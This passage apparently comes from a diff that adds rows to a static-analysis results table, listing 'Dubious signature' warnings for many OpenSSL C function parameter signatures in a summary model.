signature "(SSL_CTX *,..(*)(..))" in summary model. | +| Dubious signature "(SSL_CTX *,..(*)(..),void *)" in summary model. | +| Dubious signature "(SSL_CTX *,CTLOG_STORE *)" in summary model. | +| Dubious signature "(SSL_CTX *,ENGINE *)" in summary model. | +| Dubious signature "(SSL_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(SSL_CTX *,GEN_SESSION_CB)" in summary model. | +| Dubious signature "(SSL_CTX *,SRP_ARG *,int,int,int)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_keylog_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_EXCERT *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_SESSION *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_async_callback_fn)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_client_hello_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_client_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_find_session_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_server_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_use_session_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,X509 *)" in summary model. | +| Dubious signature "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(SSL_CTX *,X509_STORE *)" in summary model. | +| Dubious signature "(SSL_CTX *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(SSL_CTX *,char *)" in summary model. | +| Dubious signature "(SSL_CTX *,char *,char *)" in summary model. | +| Dubious signature "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)" in summary model. | +| Dubious signature "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)" in summary model. | +| Dubious signature "(SSL_CTX *,const char *)" in summary model. | +| Dubious signature "(SSL_CTX *,const unsigned char *,long)" in summary model. | +| Dubious signature "(SSL_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL_CTX *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,int)" in summary model. | +| Dubious signature "(SSL_CTX *,int,..(*)(..))" in summary model. | +| Dubious signature "(SSL_CTX *,int,..(*)(..),SSL_verify_cb)" in summary model. | +| Dubious signature "(SSL_CTX *,int,const unsigned char *)" in summary model. | +| Dubious signature "(SSL_CTX *,int,long,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,long)" in summary model. | +| Dubious signature "(SSL_CTX *,pem_password_cb *)" in summary model. | +| Dubious signature "(SSL_CTX *,size_t)" in summary model. | +| Dubious signature "(SSL_CTX *,size_t,size_t)" in summary model. | +| Dubious signature "(SSL_CTX *,srpsrvparm *,char *,char *)" in summary model. | +| Dubious signature "(SSL_CTX *,ssl_ct_validation_cb,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)" in summary model. | +| Dubious signature "(SSL_CTX *,stack_st_X509_NAME *)" in summary model. | +| Dubious signature "(SSL_CTX *,uint8_t)" in summary model. | +| Dubious signature "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)" in summary model. | +| Dubious signature "(SSL_CTX *,uint16_t)" in summary model. | +| Dubious signature "(SSL_CTX *,uint32_t)" in summary model. | +| Dubious signature "(SSL_CTX *,uint64_t)" in summary model. | +| Dubious signature "(SSL_CTX *,unsigned long)" in summary model. | +| Dubious signature "(SSL_CTX *,void *)" in summary model. | +| Dubious signature "(SSL_EXCERT **)" in summary model. | +| Dubious signature "(SSL_HMAC *)" in summary model. | +| Dubious signature "(SSL_HMAC *,void *,size_t,char *)" in summary model. | +| Dubious signature "(SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *)" in summary model. | +| Dubious signature "(SSL_SESSION *)" in summary model. | +| Dubious signature "(SSL_SESSION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(SSL_SESSION *,const SSL_CIPHER *)" in summary model. | +| Dubious signature "(SSL_SESSION *,const char *)" in summary model. | +| Dubious signature "(SSL_SESSION *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(SSL_SESSION *,const void *,size_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,int)" in summary model. | +| Dubious signature "(SSL_SESSION *,long)" in summary model. | +| Dubious signature "(SSL_SESSION *,time_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,uint32_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,void **,size_t *)" in summary model. | +| Dubious signature "(STANZA *,const char *)" in summary model. | +| Dubious signature "(SXNET *)" in summary model. | +| Dubious signature "(SXNET **,ASN1_INTEGER *,const char *,int)" in summary model. | +| Dubious signature "(SXNET **,const char *,const char *,int)" in summary model. | +| Dubious signature "(SXNET **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SXNET **,unsigned long,const char *,int)" in summary model. | +| Dubious signature "(SXNETID *)" in summary model. | +| Dubious signature "(SXNETID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(StrAccum *,sqlite3_str *,const char *,...)" in summary model. | +| Dubious signature "(TLS_FEATURE *)" in summary model. | +| Dubious signature "(TLS_RL_RECORD *,const unsigned char *)" in summary model. | +| Dubious signature "(TS_ACCURACY *)" in summary model. | +| Dubious signature "(TS_ACCURACY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_ACCURACY *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT *,X509_ALGOR *)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT *,unsigned char *,int)" in summary model. | +| Dubious signature "(TS_REQ *)" in summary model. | +| Dubious signature "(TS_REQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_REQ *,TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(TS_REQ *,TS_VERIFY_CTX *)" in summary model. | +| Dubious signature "(TS_REQ *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(TS_REQ *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(TS_REQ *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(TS_REQ *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(TS_REQ *,int)" in summary model. | +| Dubious signature "(TS_REQ *,int,int *,int *)" in summary model. | +| Dubious signature "(TS_REQ *,int,int)" in summary model. | +| Dubious signature "(TS_REQ *,long)" in summary model. | +| Dubious signature "(TS_RESP *)" in summary model. | +| Dubious signature "(TS_RESP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_RESP *,PKCS7 *,TS_TST_INFO *)" in summary model. | +| Dubious signature "(TS_RESP *,TS_STATUS_INFO *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,BIO *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,TS_extension_cb,void *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,TS_serial_cb,void *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,TS_time_cb,void *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,X509 *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,int)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,int,int,int)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,unsigned int)" in summary model. | +| Dubious signature "(TS_STATUS_INFO *)" in summary model. | +| Dubious signature "(TS_STATUS_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_STATUS_INFO *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *)" in summary model. | +| Dubious signature "(TS_TST_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_TST_INFO *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,TS_ACCURACY *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,const ASN1_GENERALIZEDTIME *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,int,int *,int *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,int,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,long)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,BIO *)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,X509_STORE *)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,int)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,unsigned char *,long)" in summary model. | +| Dubious signature "(TXT_DB *,OPENSSL_STRING *)" in summary model. | +| Dubious signature "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)" in summary model. | +| Dubious signature "(UI *)" in summary model. | +| Dubious signature "(UI *,UI_STRING *,const char *)" in summary model. | +| Dubious signature "(UI *,UI_STRING *,const char *,int)" in summary model. | +| Dubious signature "(UI *,const UI_METHOD *)" in summary model. | +| Dubious signature "(UI *,const char *)" in summary model. | +| Dubious signature "(UI *,const char *,const char *)" in summary model. | +| Dubious signature "(UI *,const char *,const char *,const char *,const char *,int,char *)" in summary model. | +| Dubious signature "(UI *,const char *,int,char *,int,int)" in summary model. | +| Dubious signature "(UI *,const char *,int,char *,int,int,const char *)" in summary model. | +| Dubious signature "(UI *,void *)" in summary model. | +| Dubious signature "(UI_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(UI_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(UI_STRING *)" in summary model. | +| Dubious signature "(USERNOTICE *)" in summary model. | +| Dubious signature "(USERNOTICE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(WHIRLPOOL_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(WPACKET *)" in summary model. | +| Dubious signature "(WPACKET *,BUF_MEM *)" in summary model. | +| Dubious signature "(WPACKET *,BUF_MEM *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,const BIGNUM *)" in summary model. | +| Dubious signature "(WPACKET *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)" in summary model. | +| Dubious signature "(WPACKET *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,const void *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,const void *,size_t,size_t)" in summary model. | +| Dubious signature "(WPACKET *,int)" in summary model. | +| Dubious signature "(WPACKET *,int,const BIGNUM *)" in summary model. | +| Dubious signature "(WPACKET *,int,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,int,size_t)" in summary model. | +| Dubious signature "(WPACKET *,size_t *)" in summary model. | +| Dubious signature "(WPACKET *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *)" in summary model. | +| Dubious signature "(WPACKET *,size_t,unsigned char **)" in summary model. | +| Dubious signature "(WPACKET *,size_t,unsigned char **,size_t)" in summary model. | +| Dubious signature "(WPACKET *,uint64_t,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(WPACKET *,uint64_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,uint64_t,size_t)" in summary model. | +| Dubious signature "(WPACKET *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(WPACKET *,unsigned int)" in summary model. | +| Dubious signature "(X9_62_CHARACTERISTIC_TWO *)" in summary model. | +| Dubious signature "(X9_62_PENTANOMIAL *)" in summary model. | +| Dubious signature "(X509 *)" in summary model. | +| Dubious signature "(X509 **,X509_STORE_CTX *,X509 *)" in summary model. | +| Dubious signature "(X509 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509 *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509 *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,SSL_CONNECTION *)" in summary model. | +| Dubious signature "(X509 *,X509 *)" in summary model. | +| Dubious signature "(X509 *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(X509 *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509 *,const char *)" in summary model. | +| Dubious signature "(X509 *,const char *,size_t,unsigned int,char **)" in summary model. | +| Dubious signature "(X509 *,int *,int *,int *,uint32_t *)" in summary model. | +| Dubious signature "(X509 *,int)" in summary model. | +| Dubious signature "(X509 *,int,int)" in summary model. | +| Dubious signature "(X509 *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509 *,long)" in summary model. | +| Dubious signature "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,unsigned char **)" in summary model. | +| Dubious signature "(X509V3_CTX *,CONF *)" in summary model. | +| Dubious signature "(X509V3_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)" in summary model. | +| Dubious signature "(X509V3_CTX *,lhash_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,ASN1_IA5STRING *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,ASN1_UTF8STRING *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,const ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_ACERT *)" in summary model. | +| Dubious signature "(X509_ACERT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ACERT *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509_ACERT *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_ACERT *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(X509_ACERT *,const ASN1_OBJECT *,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_ACERT *,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,int,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509_ACERT_INFO *)" in summary model. | +| Dubious signature "(X509_ACERT_ISSUER_V2FORM *)" in summary model. | +| Dubious signature "(X509_ALGOR *)" in summary model. | +| Dubious signature "(X509_ALGOR **,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_ALGOR **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ALGOR *,ASN1_OBJECT *,int,void *)" in summary model. | +| Dubious signature "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)" in summary model. | +| Dubious signature "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509_ALGOR *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_ALGOR *,const X509_ALGOR *)" in summary model. | +| Dubious signature "(X509_ALGOR *,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(X509_ALGORS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,int,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE *,int)" in summary model. | +| Dubious signature "(X509_CERT_AUX *)" in summary model. | +| Dubious signature "(X509_CERT_AUX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_CINF *)" in summary model. | +| Dubious signature "(X509_CINF **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_CRL *)" in summary model. | +| Dubious signature "(X509_CRL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_CRL *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509_CRL *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_CRL *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int)" in summary model. | +| Dubious signature "(X509_CRL *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(X509_CRL *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_CRL *,int)" in summary model. | +| Dubious signature "(X509_CRL *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509_CRL *,unsigned char **)" in summary model. | +| Dubious signature "(X509_CRL *,void *)" in summary model. | +| Dubious signature "(X509_CRL_INFO *)" in summary model. | +| Dubious signature "(X509_CRL_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_EXTENSION *)" in summary model. | +| Dubious signature "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_EXTENSION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_EXTENSION *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_EXTENSION *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_EXTENSIONS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_LOOKUP *,void *)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn)" in summary model. | +| Dubious signature "(X509_NAME *)" in summary model. | +| Dubious signature "(X509_NAME **,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_NAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(X509_NAME *,const X509_NAME_ENTRY *,int,int)" in summary model. | +| Dubious signature "(X509_NAME *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY *)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_OBJECT *,X509 *)" in summary model. | +| Dubious signature "(X509_OBJECT *,X509_CRL *)" in summary model. | +| Dubious signature "(X509_POLICY_LEVEL *)" in summary model. | +| Dubious signature "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)" in summary model. | +| Dubious signature "(X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int)" in summary model. | +| Dubious signature "(X509_PUBKEY *)" in summary model. | +| Dubious signature "(X509_PUBKEY **,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509_PUBKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)" in summary model. | +| Dubious signature "(X509_PUBKEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(X509_REQ *)" in summary model. | +| Dubious signature "(X509_REQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_REQ *,ASN1_BIT_STRING *)" in summary model. | +| Dubious signature "(X509_REQ *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_REQ *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509_REQ *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *)" in summary model. | +| Dubious signature "(X509_REQ *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509_REQ *,X509_ALGOR *)" in summary model. | +| Dubious signature "(X509_REQ *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(X509_REQ *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_REQ *,const char *)" in summary model. | +| Dubious signature "(X509_REQ *,int)" in summary model. | +| Dubious signature "(X509_REQ *,unsigned char **)" in summary model. | +| Dubious signature "(X509_REQ_INFO *)" in summary model. | +| Dubious signature "(X509_REQ_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_REVOKED *)" in summary model. | +| Dubious signature "(X509_REVOKED **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_REVOKED *,ASN1_TIME *)" in summary model. | +| Dubious signature "(X509_REVOKED *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(X509_REVOKED *,int)" in summary model. | +| Dubious signature "(X509_REVOKED *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509_SIG *)" in summary model. | +| Dubious signature "(X509_SIG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)" in summary model. | +| Dubious signature "(X509_SIG_INFO *,int,int,int,uint32_t)" in summary model. | +| Dubious signature "(X509_STORE *)" in summary model. | +| Dubious signature "(X509_STORE *,X509_LOOKUP_METHOD *)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_cert_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_issued_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_policy_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_revocation_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_cleanup_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_get_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_get_issuer_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_lookup_certs_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_lookup_crls_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_verify_cb)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_verify_fn)" in summary model. | +| Dubious signature "(X509_STORE *,const X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_STORE *,int)" in summary model. | +| Dubious signature "(X509_STORE *,unsigned long)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,SSL_DANE *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509 *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509 *,int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE_CTX_verify_cb)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE_CTX_verify_fn)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,int,int,int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,stack_st_X509_CRL *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,unsigned int)" in summary model. | 